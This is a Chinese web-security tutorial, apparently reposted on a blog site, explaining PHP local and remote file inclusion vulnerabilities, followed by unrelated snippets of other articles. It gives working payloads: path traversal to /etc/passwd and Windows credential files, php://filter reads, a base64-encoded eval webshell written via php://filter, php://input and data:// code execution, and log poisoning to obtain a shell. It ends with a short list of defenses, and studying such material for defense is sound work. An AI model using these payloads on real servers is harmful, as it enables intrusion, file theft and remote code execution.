网安文件包含漏洞

文件包含概念:

开发人员通常会把可重复使用的函数写到单个文件中,在使用某些函数时,直接调用此文件,而无需再次编写,这种调用文件的过程一般被称为包含。为了使代码更加灵活,通常会将被包含的文件设置为变量,用来进行动态调用,但正是由于这种灵活性,从而导致客户端可以调用一个恶意文件,造成文件包含漏洞。服务器执行PHP文件时,可以通过文件包含函数加载另一个文件中的PHP代码,并且当PHP来执行,这会为开发者节省大量的时间。

文件包含:

文件包含的原理:文件包含漏洞产生的原因是在通过PHP函数引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入。

需要特别说明的是,服务器包含文件时,不管文件后缀是否是php,都会尝试当做php文件执行,如果文件内容确为php,则会正常执行并返回结果,如果不是,则会原封不动地打印文件内容,所以文件包含漏洞常常会导致  任意文件读取与任意命令执行。

文件包含分类:

文件包含分为两种:

本地文件包含:包含本地主机上的文件(WEB服务器),文件名称是相对路径或者绝对路径

远程文件包含:包含互联网上的文件,文件名称为URL格式

而区分二者最简单的办法就是通过查看php.ini中是否开启了allow_ url_ include. 如果开启就有可能包含远程文件。

与文件包含相关的配置文件:(php.ini文件)

allow_url_fopen = on    (默认开启)   #允许打开URL文件

allow_url_include = on  (默认关闭)   #允许引用URL文件

与文件包含有关的函数:

include():当使用该函数包含文件时,只有代码执行到include()函数是才将文件包含进来,发生错误时只给出一个警告,继续向下执行

include_once():功能和include()相同,区别在于当重复调用同一文件时,程序只调用一次

requier():使用require函数包含文件时,只要程序一执行,立即调用脚本;如果前者执行发生错误,函数或输出错误信息,并终止脚本运行

require_once():功能与require()相同,区别在于当重复调用同一文件时,程序只调用一次

文件包含特征:

?page=a.php

?home=b.html

?file=content

检测方法

?file=../../../../etc/passwd

?page=file:///etc/passwd

?home=main.cgi

?page=http://192.168.189.78/1.txt

http://1.1.1.1/../../../../dir/file.txt

本地文件包含:

1.php扩展名为: jpg、rar、txtxxx发现均可解析,只要文件内容符合PHP语法规范,任何扩展名都可以被PHP解析。(此处只以.txt举例)

此外include.php文件,还可以通过目录遍历来执行文件,在include.php的上一目录写一个2.php

<?php echo "666";?>打印666,通过浏览器进行访问

本地文件包含利用:

1,读取Windows系统敏感信息:

C:\boot.ini //查看系统版本

C:\windows\system32\inetsrv\MetaBase.xml //IS配置文件

C:\windows\repair\sam //windows初次安装的密码

C:\program Files\mysq|\my.ini //Mysq|配置信息

C:\program Files\mysq|\data\mysq|\user.MYD //Mysql root

C:\windows\php.ini //php配置信息

2,读取linux系统敏感信息:

/etc/passwd //linux用户信息

/usr/local/app/apache2/conf/httpd.conf //apache2配置文件

/usr/local/app/php5/lib/php.ini //php配置文件

/etc/httpd/conf/httpd.conf //apache配置文件

/etc/my.cnf //Mysq|配置文件

本地文件包含——常用文件路径:

apache+Linux 日志默认路径                                                                             apache+linux 默认配置文件

/etc/httpd/logs/access.log/var/log/httpd/access.log  /etc/httpd/conf/httpd.conf

  /etc/init.d/httpd

apache+win2003 日志默认路径

D:\xampp\apache\logs\access.logD:\xampp\apache\logs\error.log  IIS6.0+win2003 配置文件

  C:/Windows/system32/inetsrv/metabase.xml

IIS6.0+win2003 默认日志文件

C:\WINDOWS\system32\Lognames  IIS7.0+WIN 配置文件

  C:\Windows\System32\inetsrv\config\applicationHost.config

IIS7.0+win2003 默认日志文件

%SystemDrive%\inetpub\logs\Lognames                                                                                        ./:当前路径

  ../:上级目录

nginx 日志文件  /:根目录

/usr/local/nginx/logs  ~/linux用户主目录

远程文件包含:

如果 php.ini 的配置选项 allow_url_include 和 allow_url_fopen 都为 ON 的话,文件包含函数是可以加载远程文件的,这种漏洞被称为远程文件包含漏洞。利用远程文件包含漏洞,可以直接执行 任意命令。

http://172.26.26.253/fileupload/file.php?filename=http://172.26.26.115/1.txt

 1.txt 是文本文件并且他是另一个网站上面的文档,但是当目标服务器的这两个配置选项都开启的时候,他就会把其中的文件当作 php 文件来运行。

什么是伪协议:

PHP 带有很多内置 URL 风格的封装协议,可用于类似 fopen()copy()file_exists() filesize() 文件系统函数。除了这些封装协议,还能通过 stream_wrapper_register()来注册自定义的封装协议。

文件包含伪协议:

file://         可以用于访问本地文件系统,不受allow_url_fopenallow_ulr_include影响

使用方法 file://绝对路径

实例:file://C:\Windows\System32\drivers\etc\hosts                   #必须为绝对路径

        

php流filter

?page= php://filter/read=convert.base64-encode/resource=1.php

通过指定末尾的文件,可以读取经base64编码后的文件源码,之后再base64解码一下就行。虽然不能直接获取到shell等,但能读取敏感文件危害也是挺大的。

②php://               访问各个输入/输出流,不受allow_url_fopenallow_url_include影响

php://filter参数  读取文件

resoure=<要过滤的数据流>     必须参数,指定筛选过滤的数据流

read=<读链的筛选列表>          可选参数,可设定一个或多个过滤器名称,以管道符(|)分隔

write=<写链的筛选列表>          可选参数,可设定一个或多个过滤器名称,以管道符(|)分隔

<;两个链的筛选列表>                任何没有以read=write=作前缀的筛选器列表会视情况应用于读或写链

实例:

php://filter/read=convert.base64-encode/resource=cmd.php   //查看php代码需要使用转换过滤转换代码,不然无法查看代码

实例:

filename=php://filter/write=convert.base64-decode/resource=shell.php&txt=PD9waHAgZXZhbCgkX0dFVFsnaWQnXSk7Pz4=

打开文件时将输入流字符串进行baes64解码,并写入文件中,通过改方法,可以绕过一些安全监测,写入一句话

测试脚本                                          运行结果

 

 

 

php://input  可以访问请求的原始数据的只读流,将post请求中的数据作为PHP代码执行,需开启allow_url_include

利用php中流的概念,将原本的include的文件流重定向到了用户可控制的输入流中

读取文件(allow_ url. include和allow_ ur_ fopen都不做要求)

127.0.0.1/upload/include.php/?page=php://input

<?php fputs(fopen("1116.php","w"),"<?php phpinfo();?>");?> 将1116.php写入当前路径下内容为<?php phpinfo();?>

data://                        读取数据流且执行,PHP5.2.0起有效,all_url_fopenallow_url_inclued需要都开启才能使用

用法 data://text/plain;base64,<执行代码的base64编码>  |   data://text/plain,<执行的代码>

 

命令执行

http://127.0.0.1/csh/include.php/?page=data://text/plain, <?php phpinfo();?>

?page=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4= (将<?php phpinfo();?>转换为了base64编码)

zip:// 、 bzip2:// 、 zlib://  均属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名,可修改为任意后缀:jpg png gif xxx 等等,不受all_url_fopenallow_url_inclued影响

zip://[压缩文件绝对路径]#[压缩文件内的子文件名]  

                                           

 bzip2使用方法:compress.bzip2://[文件绝对路径|文件相对路径]

zlib使用方法:compress.zlib://[文件绝对路径|文件相对路径]

phar使用方法:phar://[文件绝对路径|文件相对路径]/[子文件名称]

包含日志文件getshell:

利用条件:知道日志的物理存放路径、存在文件包含漏洞、使用burp发送请求,或者curl工具(网页请求会对特殊字符编码)

①构造url,访问web服务 ————目的是,构成错误请求,apache就会将错误的请求写入,错误日志当中 error.log

 

②使用存在文件包含的php访问,进行包含错误日志

 

③写入webshell构造url进行访问

 

文件包含和文件上传的利用:

如果你发现了一个包含本地文件包含漏洞的网站,或许我们只可以查看一些文件。那么我们可以进行更深层次的利用。刚好这个时候我们在这个网站上又发现了一个文件上传漏洞。我们可以将两者结合

制作一个图片木马,通过文件上传漏洞上传通过文件包含漏洞对该图片木马进行"包含" 获取执行结果

各协议的利用条件和方法:

本地文件包含-防御:

(1)allow_url_include和allow_url_fopen关闭;

(2)对用户包含的文件进行限制,如白名单、open_basedir;

(3)检查用户输入;

(4)检查变量是否初始化;

(5)关键的过滤在服务器端进行;

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/248470.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Spring Boot 中使用 Spring MVC基础

Spring MVC基础 一、控制器 controller1.定制控制器的方法&#xff08;1&#xff09;接收请求&#xff08;2&#xff09;接收请求参数&#xff08;3&#xff09;返回值 二、模型 Modle三、视图 View四、总结 Spring MVC 是非常著名的 Web 应用框架&#xff0c;现在的大多数 Web…

Mac安装及配置MySql及图形化工具MySQLworkbench安装

Mac下载配置MySql mysql下载及安装 下载地址&#xff1a;https://dev.mysql.com/downloads/mysql/ 根据自己电脑确定下载x86还是ARM版本的 如果不确定&#xff0c;可以查看自己电脑版本&#xff0c;终端输入命令 uname -a 点击Download下载&#xff0c;可跳过登录注册&…

Tensorflow2.0笔记 - Tensor的限值clip操作

本笔记主要记录使用maximum/minimum,clip_by_value和clip_by_norm来进行张量值的限值操作。 import tensorflow as tf import numpy as nptf.__version__#maximum/minimumz做上下界的限值 tensor tf.random.shuffle(tf.range(10)) print(tensor)#maximum(x, y, nameNone) #对…

Qt6入门教程 14:QToolButton

目录 一.简介 二.常用接口 1.void setMenu(QMenu * menu) 2.void setPopupMode(ToolButtonPopupMode mode) 3.void setToolButtonStyle(Qt::ToolButtonStyle style) 4.void setArrowType(Qt::ArrowType type) 5.void setDefaultAction(QAction * action) 三.实战演练 1…

基于Prompt Learning的信息抽取

PTR: Prompt Tuning with Rules for Text Classification 清华&#xff1b;liuzhiyuan&#xff1b;通过规则制定subpromptRelation Extraction as Open-book Examination: Retrieval-enhanced Prompt Tuning Relation Extraction as Open-book Examination: Retrieval-enhance…

spring boot 使用 Kafka

一、Kafka作为消息队列的好处 高吞吐量&#xff1a;Kafka能够处理大规模的数据流&#xff0c;并支持高吞吐量的消息传输。 持久性&#xff1a;Kafka将消息持久化到磁盘上&#xff0c;保证了消息不会因为系统故障而丢失。 分布式&#xff1a;Kafka是一个分布式系统&#xff0c…

比Filebeat更强大的日志收集工具-Fluent bit的http插件实战

文章目录 1.前言2. fluent bit http插件配置以及参数详解3. Http 接口服务3.1 开发Http 接口服务3.2 重启fluent bit向http web服务发送数据 1.前言 Fluent Bit 的 HTTP 插件提供了一种灵活而通用的机制&#xff0c;可用于将日志数据 从各种环境中传输到指定的远程服务器&#…

C++核心编程:类和对象 笔记

4.类和对象 C面向对象的三大特性为:封装,继承,多态C认为万事万物都皆为对象&#xff0c;对象上有其属性和行为 例如&#xff1a; 人可以作为对象&#xff0c;属性有姓名、年龄、身高、体重...,行为有走、跑、跳、说话...车可以作为对象&#xff0c;属性有轮胎、方向盘、车灯…

力扣hot100 子集 回溯 超简洁

Problem: 78. 子集 文章目录 思路复杂度Code 思路 &#x1f468;‍&#x1f3eb; 参考题解 复杂度 时间复杂度: 添加时间复杂度, 示例&#xff1a; O ( n ) O(n) O(n) 空间复杂度: 添加空间复杂度, 示例&#xff1a; O ( n ) O(n) O(n) Code class Solution {List<Li…

设计模式之框架源码剖析(实战+图解)

Java设计模式 1&#xff0c;概述 随着软件开发人员人数的增多&#xff0c;一些公司急需一些高端人才。作为一个高端人才&#xff0c;设计面向对象软件是必不可少的能力&#xff0c;而软件设计是需要很深的功力&#xff0c;设计模式就要求你必须掌握。 2&#xff0c;本章特色…

[GN] 设计模式——面向对象设计原则概述

文章目录 面向对象设计原则概述单一职责原则开闭原则里氏代换原则依赖倒转原则接口隔离原则合成复用原则迪米特法则 总结 提示&#xff1a;以下是本篇文章正文内容&#xff0c;下面案例可供参考 面向对象设计原则概述 单一职责原则 一个类只负责一个功能领域中的相应职责 类…

C#,数据检索算法之三元搜索(Ternary Search)的源代码

数据检索算法是指从数据集合&#xff08;数组、表、哈希表等&#xff09;中检索指定的数据项。 数据检索算法是所有算法的基础算法之一。 本文发布 三元搜索&#xff08;Ternary Search&#xff09;的源代码。 1 文本格式 using System; namespace Legalsoft.Truffer.Algo…

【Java异常处理与try-catch-finally】

Java异常处理与try-catch-finally try块是被监视的代码块&#xff0c;可能会发生异常的地方。当try块中的代码抛出了异常&#xff0c;程序会立即转入catch块&#xff0c;catch块根据捕获的异常类型进行处理。 Java异常处理是一种机制&#xff0c;用于捕获并处理在程序执行过程中…

flutter module打包成framework引入原生工程

Flutter - 将 Flutter 集成到现有项目&#xff08;iOS - Framework篇&#xff09; 本篇文章大幅参考了 caijinglong 大佬的总结文章&#xff1a; 把flutter作为framework添加到已存在的iOS中[1] 用 Flutter 来开发&#xff0c;从来都不可能是新开的一个纯 Flutter 项目&#xf…

基于JavaWeb开发的礼品商贸服务平台【附源码】

基于JavaWeb开发的礼品商贸服务平台【附源码】 &#x1f345; 作者主页 央顺技术团队 &#x1f345; 欢迎点赞 &#x1f44d; 收藏 ⭐留言 &#x1f4dd; &#x1f345; 文末获取源码联系方式 &#x1f4dd; &#x1f345; 查看下方微信号获取联系方式 承接各种定制系统 &#…

内网安全:NTLM-Relay

目录 NTLM认证过程以及攻击面 NTLM Relay攻击 NTLM攻击总结 实验环境说明 域横向移动&#xff1a;NTLM中继攻击 攻击条件 实战一&#xff1a;NTLM中继攻击-CS转发上线MSF 原理示意图 一. CS代理转发 二. MSF架设路由 三. 适用smb_relay模块进行中继攻击 域横向移动…

JavaWeb,Vue的学习(下)

Router路由 路由&#xff08;Router&#xff09;简介 定义&#xff1a;路由就是根据不同的 URL 地址展示不同的内容或页面。通俗理解&#xff1a;路由就像是一个地图&#xff0c;我们要去不同的地方&#xff0c;需要通过不同的路线进行导航。 路由的作用 单页应用程序&…

【Java程序设计】【C00184】基于SSM的旅游网站管理系统(论文+PPT)

基于SSM的旅游网站管理系统&#xff08;论文PPT&#xff09; 项目简介项目获取开发环境项目技术运行截图 项目简介 这是一个基于ssm的旅游网站管理系统 本系统分为前台用户、后台管理员2个功能模块。 前台用户&#xff1a;当游客打开系统的网址后&#xff0c;首先看到的就是首…

手机屏幕生产厂污废水处理需要哪些工艺设备

随着手机行业的快速发展&#xff0c;手机屏幕生产厂的规模也越来越大&#xff0c;但同时也带来了大量的污废水排放问题。为了保护环境和人类的健康&#xff0c;手机屏幕生产厂需要采取适当的工艺设备来处理污废水。本文将介绍手机屏幕生产厂污废水处理所需的工艺设备。 首先&am…

LeetCode —— 43. 字符串相乘

&#x1f636;‍&#x1f32b;️&#x1f636;‍&#x1f32b;️&#x1f636;‍&#x1f32b;️&#x1f636;‍&#x1f32b;️Take your time ! &#x1f636;‍&#x1f32b;️&#x1f636;‍&#x1f32b;️&#x1f636;‍&#x1f32b;️&#x1f636;‍&#x1f32b;️…